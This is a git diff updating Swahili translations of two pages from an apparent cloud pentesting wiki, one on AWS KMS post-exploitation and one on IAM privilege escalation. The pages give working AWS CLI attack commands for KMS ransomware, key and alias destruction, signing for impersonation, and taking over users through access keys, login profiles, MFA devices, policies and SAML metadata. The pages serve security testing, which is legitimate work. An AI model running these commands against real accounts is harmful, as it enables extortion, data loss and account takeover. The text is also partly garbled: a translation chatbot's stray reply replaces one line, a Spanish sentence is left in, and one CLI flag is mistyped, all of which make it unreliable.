diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation/README.md index 02ef27b62..61db4d268 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation/README.md @@ -4,21 +4,21 @@ ## KMS -For more information check: +Kwa maelezo zaidi angalia: {{#ref}} ../../aws-services/aws-kms-enum.md {{#endref}} -### Encrypt/Decrypt taarifa +### Encrypt/Decrypt information -`fileb://` na `file://` ni schemes za URI zinazotumika katika AWS CLI commands kutaja njia ya faili za ndani: +`fileb://` and `file://` are URI schemes used in AWS CLI commands to specify the path to local files: -- `fileb://:` Inasoma faili kwa njia ya binary, kawaida hutumika kwa faili zisizo za maandishi. -- `file://:` Inasoma faili kwa mode ya maandishi, kawaida hutumika kwa faili za maandishi rahisi, scripts, au JSON isiyo na mahitaji maalumu ya encoding. +- `fileb://:` Husoma faili kwa mode ya binary, hutumika kwa kawaida kwa faili zisizo za maandishi. +- `file://:` Husoma faili kwa mode ya maandishi, kawaida hutumika kwa faili za maandishi ya kawaida, scripts, au JSON ambazo hazina mahitaji maalum ya encoding. > [!TIP] -> Kumbuka kwamba ikiwa unataka decrypt baadhi ya data ndani ya faili, faili lazima iwe na data ya binary, sio data iliyokuwa base64 encoded. (fileb://) +> Kumbuka kwamba ikiwa unataka ku-decrypt data ndani ya faili, faili lazima iweke data ya binary, sio data iliyokuwa encoded kwa base64. (fileb://) - Using a **symmetric** key ```bash @@ -38,7 +38,7 @@ aws kms decrypt \ --query Plaintext | base64 \ --decode ``` -- Kutumia ufunguo **asimetriki**: +- Kutumia ufunguo wa **asimetri**: ```bash # Encrypt data aws kms encrypt \ @@ -60,14 +60,14 @@ aws kms decrypt \ ``` ### KMS Ransomware -Mshambuliaji aliye na ufikiaji wa kipaumbele kwenye KMS anaweza kubadilisha sera za KMS za funguo na **kumpa akaunti yake ufikiaji juu yao**, akiondoa ufikiaji uliotolewa kwa akaunti halali. +Mshambulizi mwenye privileged access juu ya KMS anaweza kubadilisha sera za KMS za keys na kumweka akaunti yake kupata ufikiaji wa keys hizo, na kuondoa ufikiaji uliotolewa kwa akaunti halali. -Kisha, watumiaji wa akaunti halali hawawezi kupata taarifa za huduma yoyote iliyosimbwa kwa funguo hizo, na kuunda ransomware rahisi lakini yenye ufanisi juu ya akaunti hiyo. +Hivyo, watumiaji wa akaunti halali hawawezi kupata taarifa za huduma yoyote iliyokuwa imeencrypted kwa keys hizo, na hivyo kuunda ransomware rahisi lakini yenye ufanisi dhidi ya akaunti. > [!WARNING] -> Kumbuka kwamba **AWS managed keys aren't affected** na shambulio hili — huathiriwa ni tu **Customer managed keys**. +> Kumbuka kwamba **AWS managed keys aren't affected** na shambulio hili; ni **Customer managed keys** pekee. -> Pia kumbuka uhitaji wa kutumia param **`--bypass-policy-lockout-safety-check`** (ukosefu wa chaguo hili katika web console unafanya shambulio hili liwe linawezekana tu kutoka CLI). +> Pia kumbuka hitaji la kutumia param **`--bypass-policy-lockout-safety-check`** (kukosekana kwa chaguo hili kwenye web console kunafanya shambulio hili liwe linawezekana tu kutoka kwenye CLI). ```bash # Force policy change aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \ @@ -92,28 +92,28 @@ aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \ } ``` > [!CAUTION] -> Kumbuka kwamba ikiwa utabadilisha sera hiyo na kutoa ufikiaji kwa akaunti ya nje tu, na kuka kutoka akaunti hii ya nje ukajaribu kuweka sera mpya ili **give the access back to original account, you won't be able cause the Put Polocy action cannot be performed from a cross account**. +> Kumbuka kwamba ikiwa utabadilisha sera hiyo na kutoa ufikiaji tu kwa account ya nje, na kuka toka kwa account hiyo ya nje ukajaribu kuweka sera mpya ili **give the access back to original account, you won't be able cause the Put Polocy action cannot be performed from a cross account**.
-### KMS Ransomware ya Kawaida +### Generic KMS Ransomware -Kuna njia nyingine ya kutekeleza KMS Ransomware ya kimataifa, ambayo itahusisha hatua zifuatazo: +Kuna njia nyingine ya kutekeleza global KMS Ransomware, ambayo ingejumuisha hatua zifuatazo: -- Unda **key mpya yenye key material** iliyingizwa na attacker -- **Re-encrypt older data** ya victim iliyokuwa encrypted na version ya awali kwa kutumia ile mpya. +- Unda **ufunguo mpya wenye key material** uliyoingizwa na mshambuliaji +- **Re-encrypt data za zamani** za mwathiriwa zilizokuwa zimefungwa kwa toleo la awali kwa kutumia ufunguo mpya - **Delete the KMS key** -- Sasa ni attacker pekee, ambaye ana original key material, angeweza decrypt the encrypted data +- Sasa mshambuliaji pekee, ambaye ana material ya ufunguo ya awali, atakuwa na uwezo wa kufungua data zilizofichwa ### Delete Keys via kms:DeleteImportedKeyMaterial -Kwa ruhusa ya `kms:DeleteImportedKeyMaterial`, mhusika anaweza kufuta imported key material kutoka kwa CMKs zenye `Origin=EXTERNAL` (CMKs ambazo zimeingiza key material yao), na hivyo kuzifanya zisifae kutengeneza upya (decrypt) data. Hatua hii ni ya uharibifu na haiwezi kurekebishwa isipokuwa material inayofaa iingizwe upya, ikimruhusu attacker kusababisha upotevu wa data wa aina ya ransomware-like kwa kufanya taarifa zilizofichwa zisizopatikana kabisa. +Kwa ruhusa ya `kms:DeleteImportedKeyMaterial`, mhusika anaweza kufuta imported key material kutoka kwa CMKs zenye `Origin=EXTERNAL` (CMKs ambazo zimetumia imported key material), na kuwafanya wasiweze kufungua data. Kitendo hiki ni cha uharibifu na hakiwezi kurekebishwa isipokuwa material inayolingana iingizwe tena, na kumruhusu mshambuliaji kusababisha kwa ufanisi upotevu wa data unaofanana na ransomware kwa kufanya taarifa zilizofichwa zisipatikane kabisa. ```bash aws kms delete-imported-key-material --key-id ``` -### Kuangamiza funguo +### Haribu funguo -Kwa kuangamiza funguo, inawezekana kusababisha DoS. +Kwa kuharibu funguo, inawezekana kutekeleza DoS. ```bash # Schedule the destoy of a key (min wait time is 7 days) aws kms schedule-key-deletion \ @@ -121,10 +121,10 @@ aws kms schedule-key-deletion \ --pending-window-in-days 7 ``` > [!CAUTION] -> Fahamu kuwa AWS sasa **inazuia vitendo vya awali kufanywa kutoka kwenye cross account:** +> Kumbuka kuwa AWS sasa **inazuia vitendo vya awali kufanywa kutoka cross account:** ### Badilisha au futa Alias -Shambulio hili hufuta au kuelekeza upya AWS KMS aliases, kuharibu key resolution na kusababisha kushindwa mara moja kwa huduma yoyote inayotegemea aliases hizo, na kusababisha denial-of-service. Kwa ruhusa kama `kms:DeleteAlias` au `kms:UpdateAlias` mdukuzi anaweza kuondoa au kuelekeza aliases upya na kuathiri operesheni za kriptografia (mf., encrypt, describe). Huduma yoyote inayorejea alias badala ya key ID inaweza kushindwa hadi alias itakaporudishwa au kupangwa upya kwa usahihi. +Shambulio hili huondoa au kuelekeza upya AWS KMS aliases, ukivuruga key resolution na kusababisha kushindwa mara moja kwa huduma yoyote inayotegemea aliases hizo, na hivyo kusababisha denial-of-service. Kwa ruhusa kama `kms:DeleteAlias` au `kms:UpdateAlias` mshambuliaji anaweza kuondoa au kuelekeza tena aliases na kuharibu cryptographic operations (e.g., encrypt, describe). Huduma yoyote inayorejelea alias badala ya key ID inaweza kushindwa hadi alias itakaporudishwa au kupangwa upya kwa usahihi. ```bash # Delete Alias aws kms delete-alias --alias-name alias/ @@ -134,8 +134,8 @@ aws kms update-alias \ --alias-name alias/ \ --target-key-id ``` -### Kughairi Ufutaji wa Ufunguo -Kwa ruhusa kama `kms:CancelKeyDeletion` na `kms:EnableKey`, mtendaji anaweza kughairi ufutaji uliopangwa wa AWS KMS customer master key na baadaye kuiwezesha tena. Kufanya hivyo kunarejesha ufunguo (mwanzoni katika Disabled state) na kurejesha uwezo wake wa ku-decrypt data iliyolindwa hapo awali, hivyo kuwezesha exfiltration. +### Kusitisha Ufutaji wa Funguo +Kwa ruhusa kama `kms:CancelKeyDeletion` na `kms:EnableKey`, mhusika anaweza kusitisha ufutaji uliopangwa wa AWS KMS customer master key na baadaye kuiwezesha tena. Kufanya hivyo kunarudisha funguo (mwanzoni katika Disabled state) na kurejesha uwezo wake wa ku-decrypt data iliyokuwa imehifadhiwa awali, na hivyo kuruhusu exfiltration. ```bash # Firts cancel de deletion aws kms cancel-key-deletion \ @@ -145,22 +145,22 @@ aws kms cancel-key-deletion \ aws kms enable-key \ --key-id ``` -### Kuzima Ufunguo -Kwa ruhusa ya `kms:DisableKey`, mhusika anaweza kuzima AWS KMS customer master key (CMK), kuizuia isitumike kwa encryption au decryption. Hii inavunja upatikanaji kwa huduma yoyote inayotegemea CMK hiyo na inaweza kusababisha usumbufu wa haraka au denial-of-service hadi ufunguo uwezeshwe tena. +### Disable Key +Kwa ruhusa ya `kms:DisableKey`, mshambuliaji anaweza kuzima AWS KMS customer master key, kuizuia kutumika kwa encryption au decryption. Hii inavunja ufikiaji kwa huduma zozote zinazotegemea CMK hiyo na inaweza kusababisha usumbufu wa mara moja au denial-of-service hadi key iruhusiwe tena. ```bash aws kms disable-key \ --key-id ``` -### Pata Siri ya Pamoja -Kwa ruhusa ya `kms:DeriveSharedSecret`, mhusika anaweza kutumia funguo binafsi iliyoshikiliwa na KMS pamoja na funguo ya umma iliyotolewa na mtumiaji ili kuhesabu siri ya pamoja ya ECDH. +### Kupata Siri Iliyoshirikiwa +Kwa ruhusa ya `kms:DeriveSharedSecret`, mhusika anaweza kutumia funguo binafsi iliyohifadhiwa kwenye KMS pamoja na funguo ya umma iliyotolewa na mtumiaji ili kuhesabu siri ya ECDH iliyoshirikiwa. ```bash aws kms derive-shared-secret \ --key-id \ --public-key fileb:/// \ --key-agreement-algorithm ``` -### Impersonation kupitia kms:Sign -Kwa idhini ya `kms:Sign`, mhusika anaweza kutumia KMS-stored CMK kusaini data kwa njia ya kriptografia bila kufichua private key, na kutengeneza saini halali ambazo zinaweza kuwezesha impersonation au kuruhusu vitendo vibaya. +### Impersonation via kms:Sign +Kwa ruhusa ya `kms:Sign`, mhusika anaweza kutumia CMK iliyohifadhiwa kwenye KMS kusaini data kwa njia ya kriptografia bila kufichua private key, akitengeneza signatures halali zinazoweza kuwezesha impersonation au kuidhinisha vitendo vibaya. ```bash aws kms sign \ --key-id \ @@ -169,7 +169,7 @@ aws kms sign \ --message-type RAW ``` ### DoS with Custom Key Stores -Kwa ruhusa kama `kms:DeleteCustomKeyStore`, `kms:DisconnectCustomKeyStore`, au `kms:UpdateCustomKeyStore`, mhusika anaweza kubadilisha, kutenganisha, au kufuta AWS KMS Custom Key Store (CKS), na kufanya vifunguo vyake vikuu visifanyi kazi. Hii inavunja operesheni za kusimbua, kufungua (decryption), na kusaini kwa huduma yoyote inayotegemea vifunguo hivyo na inaweza kusababisha denial-of-service mara moja. Kwa hivyo, ni muhimu kudhibiti na kufuatilia ruhusa hizo. +Kwa ruhusa kama `kms:DeleteCustomKeyStore`, `kms:DisconnectCustomKeyStore`, au `kms:UpdateCustomKeyStore`, mhusika anaweza kubadilisha, kutenganisha, au kufuta AWS KMS Custom Key Store (CKS), na kufanya master keys zake zisifanye kazi. Hiyo inavunja encryption, decryption, na signing operations kwa huduma yoyote inayotegemea funguo hizo na inaweza kusababisha mara moja denial-of-service. Kwa hivyo, ni muhimu kuzuia na kufuatilia ruhusa hizo. ```bash aws kms delete-custom-key-store --custom-key-store-id diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md index b727bb4be..3a9c8f13b 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md @@ -4,7 +4,7 @@ ## IAM -Kwa maelezo zaidi kuhusu IAM angalia: +Kwa habari zaidi kuhusu IAM angalia: {{#ref}} ../../aws-services/aws-iam-enum.md @@ -12,64 +12,83 @@ Kwa maelezo zaidi kuhusu IAM angalia: ### **`iam:CreatePolicyVersion`** -Inatoa uwezo wa kuunda toleo jipya la sera ya IAM, ukiepuka hitaji la ruhusa ya `iam:SetDefaultPolicyVersion` kwa kutumia bendera `--set-as-default`. Hii inaruhusu kufafanua ruhusa maalum. +Inatoa uwezo wa kuunda toleo jipya la sera ya IAM, ikiepuka haja ya ruhusa ya `iam:SetDefaultPolicyVersion` kwa kutumia bendera `--set-as-default`. Hii inaruhusu kubainisha ruhusa maalum. **Exploit Command:** ```bash aws iam create-policy-version --policy-arn \ --policy-document file:///path/to/administrator/policy.json --set-as-default ``` -**Athari:** Inaongeza mamlaka moja kwa moja kwa kuruhusu kitendo chochote kwenye rasilimali yoyote. +**Athari:** Inaongezea ruhusa moja kwa moja kwa kuruhusu kitendo chochote kwenye rasilimali yoyote. ### **`iam:SetDefaultPolicyVersion`** -Inaruhusu kubadilisha toleo chaguo-msingi la sera ya IAM kuwa toleo jingine lililopo, na inaweza kuongeza mamlaka ikiwa toleo jipya lina ruhusa zaidi. +Inaruhusu kubadilisha toleo chaguo-msingi la sera ya IAM kwa toleo lingine liloripo, na inaweza kuongeza ruhusa ikiwa toleo jipya lina ruhusa zaidi. -**Amri ya Bash:** +**Bash Command:** ```bash aws iam set-default-policy-version --policy-arn --version-id v2 ``` -**Athari:** Inasababisha privilege escalation isiyo ya moja kwa moja kwa kuwezesha ruhusa zaidi. +**Athari:** Isiyo ya moja kwa moja privilege escalation kwa kuruhusu ruhusa zaidi. -### **`iam:CreateAccessKey`** +### **`iam:CreateAccessKey`, (`iam:DeleteAccessKey`)** -Inaruhusu kuunda access key ID na secret access key kwa mtumiaji mwingine, ambayo inaweza kusababisha privilege escalation. +Inaruhusu kuunda access key ID na secret access key kwa mtumiaji mwingine, jambo ambalo linaweza kusababisha privilege escalation. **Exploit:** ```bash aws iam create-access-key --user-name ``` -**Impact:** Direct privilege escalation kwa kuchukua ruhusa zilizopanuliwa za mtumiaji mwingine. +**Athari:** privilege escalation ya moja kwa moja kwa kuchukua ruhusa za ziada za mtumiaji mwingine. + +Kumbuka kwamba mtumiaji anaweza kuwa na vifunguo vya ufikiaji viwili tu vilivyotengenezwa, hivyo ikiwa mtumiaji tayari ana vifunguo vya ufikiaji 2 utahitaji ruhusa `iam:DeleteAccessKey` kufuta mojawapo yao ili uweze kuunda mpya: +```bash +aws iam delete-access-key --uaccess-key-id +``` +### **`iam:CreateVirtualMFADevice` + `iam:EnableMFADevice`** + +Ikiwa unaweza kuunda virtual MFA device mpya na kuiwezesha kwa mtumiaji mwingine, unaweza kwa ufanisi kusajili MFA yako kwa mtumiaji huyo na kisha kuomba session iliyothibitishwa na MFA kwa vyeti vyao. + +**Exploit:** +```bash +# Create a virtual MFA device (this returns the serial and the base32 seed) +aws iam create-virtual-mfa-device --virtual-mfa-device-name + +# Generate 2 consecutive TOTP codes from the seed, then enable it for the user +aws iam enable-mfa-device --user-name --serial-number \ +--authentication-code1 --authentication-code2 +``` +**Athari:** Kuongezeka kwa mamlaka kwa njia ya moja kwa moja kwa kuchukua usajili wa MFA wa mtumiaji (na kisha kutumia mamlaka yao). ### **`iam:CreateLoginProfile` | `iam:UpdateLoginProfile`** -Inaruhusu kuunda au kusasisha login profile, ikijumuisha kuweka nywila kwa ajili ya AWS console login, na kusababisha direct privilege escalation. +Inaruhusu kuunda au kusasisha login profile, ikijumuisha kuweka nywila kwa ajili ya AWS console login, ikisababisha kuongezeka kwa mamlaka kwa njia ya moja kwa moja. -**Exploit for Creation:** +**Exploit kwa Uundaji:** ```bash aws iam create-login-profile --user-name target_user --no-password-reset-required \ --password '' ``` -**Exploit kwa Sasisho:** +**Exploit kwa Update:** ```bash aws iam update-login-profile --user-name target_user --no-password-reset-required \ --password '' ``` -**Impact:** Moja kwa moja privilege escalation kwa kuingia kama mtumiaji "yeyote". +**Athari:** Kuongezeka kwa moja kwa moja kwa privilege escalation kwa kuingia kama mtumiaji "yeyote". ### **`iam:UpdateAccessKey`** -Inaruhusu kuwezesha access key iliyozimwa, ambayo inaweza kusababisha upatikanaji usioruhusiwa ikiwa attacker anamiliki access key iliyozimwa. +Inaruhusu kuwezesha access key iliyozimwa, jambo ambalo linaweza kusababisha upatikanaji usioidhinishwa ikiwa mshambuliaji anamiliki access key hiyo iliyozimwa. **Exploit:** ```bash aws iam update-access-key --access-key-id --status Active --user-name ``` -**Athari:** Direct privilege escalation by reactivating access keys. +**Athari:** Moja kwa moja privilege escalation kwa kurejesha tena access keys. ### **`iam:CreateServiceSpecificCredential` | `iam:ResetServiceSpecificCredential`** -Inaiwezesha kutengeneza au kuweka upya credentials kwa huduma maalum za AWS (kwa mfano, CodeCommit, Amazon Keyspaces), ikimrithi permissions za mtumiaji aliyehusishwa. +Inaruhusu kuzalisha au kuweka upya credentials kwa huduma maalum za AWS (e.g., CodeCommit, Amazon Keyspaces), zikirithi permissions za mtumiaji aliyehusishwa. **Exploit for Creation:** ```bash @@ -79,11 +98,11 @@ aws iam create-service-specific-credential --user-name --service-name ```bash aws iam reset-service-specific-credential --service-specific-credential-id ``` -**Athari:** Kuinua ruhusa moja kwa moja ndani ya idhini za huduma za mtumiaji. +**Impact:** Kuongezeka kwa ruhusa moja kwa moja ndani ya ruhusa za huduma za mtumiaji. ### **`iam:AttachUserPolicy` || `iam:AttachGroupPolicy`** -Inaruhusu kuambatisha sera kwa watumiaji au vikundi, na hivyo kuinua ruhusa moja kwa moja kwa kurithi idhini za sera iliyowekwa. +Inaruhusu kuambatisha policies kwa watumiaji au makundi, na hivyo kuongeza ruhusa moja kwa moja kwa kurithi ruhusa za policy iliyounganishwa. **Exploit for User:** ```bash @@ -93,11 +112,11 @@ aws iam attach-user-policy --user-name --policy-arn "" ```bash aws iam attach-group-policy --group-name --policy-arn "" ``` -**Athari:** Direct privilege escalation kwa chochote sera inakipa. +**Athari:** Direct privilege escalation kwa chochote sera inaruhusu. ### **`iam:AttachRolePolicy`,** ( `sts:AssumeRole`|`iam:createrole`) | **`iam:PutUserPolicy` | `iam:PutGroupPolicy` | `iam:PutRolePolicy`** -Inaruhusu kuambatisha au kuweka sera kwa roles, users, au groups, ikiruhusu direct privilege escalation kwa kutoa ruhusa za ziada. +Inaruhusu kuambatisha au kuweka sera kwa roles, users, au groups, na hivyo kuruhusu direct privilege escalation kwa kutoa ruhusa za ziada. **Exploit for Role:** ```bash @@ -114,7 +133,7 @@ aws iam put-group-policy --group-name --policy-name "" aws iam put-role-policy --role-name --policy-name "" \ --policy-document file:///path/to/policy.json ``` -Unaweza kutumia sera kama: +I don't see the README.md content to translate. Please paste the file content (or confirm you want an example policy) and I'll translate the relevant English text to Swahili following your rules. ```json { "Version": "2012-10-17", @@ -127,28 +146,28 @@ Unaweza kutumia sera kama: ] } ``` -**Athari:** Direct privilege escalation by adding permissions through policies. +**Athari:** Kuongezeka kwa ruhusa moja kwa moja kwa kuongeza ruhusa kupitia sera. ### **`iam:AddUserToGroup`** -Inaruhusu kujiongezea mwenyewe kwenye kikundi cha IAM, escalating privileges kwa kurithi ruhusa za kikundi. +Inaruhusu kujiongeza mwenyewe kwenye kikundi cha IAM, na hivyo kuongeza ruhusa kwa kurithi ruhusa za kikundi. **Exploit:** ```bash aws iam add-user-to-group --group-name --user-name ``` -**Athari:** Direct privilege escalation to the level of the group's permissions. +**Athari:** Kupandishwa kwa ruhusa kwa moja kwa moja hadi kiwango cha ruhusa za kikundi. ### **`iam:UpdateAssumeRolePolicy`** -Inaruhusu kubadilisha assume role policy document ya role, na hivyo kuruhusu assumption ya role na permissions zake zinazohusiana. +Inaruhusu kubadilisha assume role policy document ya role, na hivyo kuwezesha ku-assume role pamoja na ruhusa zake zinazohusiana. **Exploit:** ```bash aws iam update-assume-role-policy --role-name \ --policy-document file:///path/to/assume/role/policy.json ``` -Ambapo sera inavyoonekana kama ifuatayo, ambayo inampa mtumiaji ruhusa ya kuchukua jukumu: +Ambapo sera inaonekana kama ifuatavyo, ambayo inampa mtumiaji ruhusa ya kuchukua jukumu: ```json { "Version": "2012-10-17", @@ -163,11 +182,11 @@ Ambapo sera inavyoonekana kama ifuatayo, ambayo inampa mtumiaji ruhusa ya kuchuk ] } ``` -**Athari:** privilege escalation ya moja kwa moja kwa kuchukua ruhusa za role yoyote. +**Impact:** Direct privilege escalation kwa kuchukua ruhusa za role yoyote. ### **`iam:UploadSSHPublicKey` || `iam:DeactivateMFADevice`** -Inaruhusu kupakia SSH public key kwa ajili ya kuthibitisha utambulisho kwenye CodeCommit na ku-deactivate vifaa vya MFA, jambo linaloweza kusababisha indirect privilege escalation. +Inaruhusu kupakia SSH public key kwa ajili ya uthibitisho kwenye CodeCommit na kuzima vifaa vya MFA, na hivyo kusababisha uwezekano wa indirect privilege escalation. **Exploit for SSH Key Upload:** ```bash @@ -177,24 +196,24 @@ aws iam upload-ssh-public-key --user-name --ssh-public-key-body --serial-number ``` -**Athari:** Kupandishwa kwa ruhusa kwa njia isiyo ya moja kwa moja kwa kuwezesha upatikanaji wa CodeCommit au kuzima ulinzi wa MFA. +**Impact:** Kupandishwa kwa mamlaka kwa njia isiyo ya moja kwa moja kwa kuwezesha ufikiaji wa CodeCommit au kuzima ulinzi wa MFA. ### **`iam:ResyncMFADevice`** -Inaruhusu kusawazisha tena kifaa cha MFA, jambo ambalo linaweza kusababisha kupandishwa kwa ruhusa kwa njia isiyo ya moja kwa moja kwa kuathiri ulinzi wa MFA. +Inaruhusu kusawazisha upya kifaa cha MFA, ambacho kinaweza kusababisha kupandishwa kwa mamlaka kwa njia isiyo ya moja kwa moja kwa kuingilia au kubadilisha ulinzi wa MFA. -**Bash Command:** +**Amri ya Bash:** ```bash aws iam resync-mfa-device --user-name --serial-number \ --authentication-code1 --authentication-code2 ``` -**Impact:** Kuongezeka kwa mamlaka kwa njia isiyo ya moja kwa moja kwa kuongeza au kubadilisha MFA devices. +**Athari:** Kuongezeka kwa vibali kwa njia isiyo ya moja kwa moja kwa kuongeza au kubadilisha vifaa vya MFA. ### `iam:UpdateSAMLProvider`, `iam:ListSAMLProviders`, (`iam:GetSAMLProvider`) -Kwa ruhusa hizi unaweza **kubadilisha metadata ya XML ya muunganisho wa SAML**. Kisha, unaweza kuutumia vibaya **SAML federation** ili **login** kwa yoyote **role** inayomwamini. +Kwa ruhusa hizi unaweza **kubadilisha metadata ya XML ya muunganisho wa SAML**. Kisha, unaweza kutumia vibaya **SAML federation** ili **login** na **role** yoyote inayoiamini. -Tambua kwamba ukifanya hivi **watumiaji halali hawataweza kuingia (login)**. Hata hivyo, unaweza kupata XML, ukaweka yako, kuingia na kurekebisha mipangilio ya awali ili iendelee kufanya kazi. +Kumbuka kwamba kufanya hivi **watumiaji halali hawataweza ku-login**. Walakini, unaweza kupata XML, hivyo unaweza kuweka yako, ku-login na kusanidi tena iliyokuwepo hapo awali. ```bash # List SAMLs aws iam list-saml-providers @@ -211,11 +230,11 @@ aws iam update-saml-provider --saml-metadata-document --saml-provider-ar aws iam update-saml-provider --saml-metadata-document --saml-provider-arn ``` > [!NOTE] -> TODO: Chombo kinachoweza kuzalisha metadata ya SAML na ku-login kwa role maalum +> TODO: A Tool inayoweza kuunda SAML metadata na ku-login kwa role iliyobainishwa ### `iam:UpdateOpenIDConnectProviderThumbprint`, `iam:ListOpenIDConnectProviders`, (`iam:`**`GetOpenIDConnectProvider`**) -(Sina uhakika kuhusu hili) Iwapo mshambuliaji ana hizi **permissions**, anaweza kuongeza **Thumbprint** mpya ili kuweza ku-login katika roles zote zinazomwamini provider. +(Sina uhakika kuhusu hili) Ikiwa attacker ana hizi **permissions** anaweza kuongeza **Thumbprint** mpya ili kuweza ku-login katika role zote zinazomwamini provider. ```bash # List providers aws iam list-open-id-connect-providers @@ -226,7 +245,7 @@ aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-ar ``` ### `iam:PutUserPermissionsBoundary` -Ruhusa hii inamruhusu attacker kusasisha permissions boundary ya user, na hivyo inawezekana kwamba ataongeza privileges zao kwa kuwawezesha kufanya vitendo ambavyo kwa kawaida vimezuiliwa na permissions walizokuwa nazo. +Ruhusa hii inamruhusu attacker kusasisha permissions boundary ya user, na inaweza kuongezea privileges zao kwa kumruhusu kufanya vitendo ambavyo kawaida vinazuiliwa kutokana na permissions zao zilizopo. ```bash aws iam put-user-permissions-boundary \ --user-name \ @@ -249,13 +268,13 @@ Un ejemplo de una política que no aplica ninguna restricción es: ``` ### `iam:PutRolePermissionsBoundary` -Mtu aliye na iam:PutRolePermissionsBoundary anaweza kuweka permissions boundary kwenye role iliyopo. Hatari inapotokea mtu mwenye ruhusa hii anapobadilisha boundary ya role: wanaweza kupunguza vibaya shughuli (kusababisha service disruption) au, iwapo wanaweka permissive boundary, kupanua kwa ufanisi kile role inaweza kufanya na escalate privileges. +Mhusika mwenye iam:PutRolePermissionsBoundary anaweza kuweka kikomo cha ruhusa kwenye role iliyopo. Hatari inatokea mtu mwenye ruhusa hii anapobadilisha kikomo cha role: wanaweza kuzuia shughuli kwa njia isiyofaa (kusababisha kukatika kwa huduma) au, ikiwa wataambatisha kikomo chenye kuruhusu mengi, kwa ufanisi kupanua kile role inaweza kufanya na kupandisha ruhusa. ```bash aws iam put-role-permissions-boundary \ --role-name \ --permissions-boundary arn:aws:iam::111122223333:policy/BoundaryPolicy ``` -## Marejeleo +## Marejeo - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)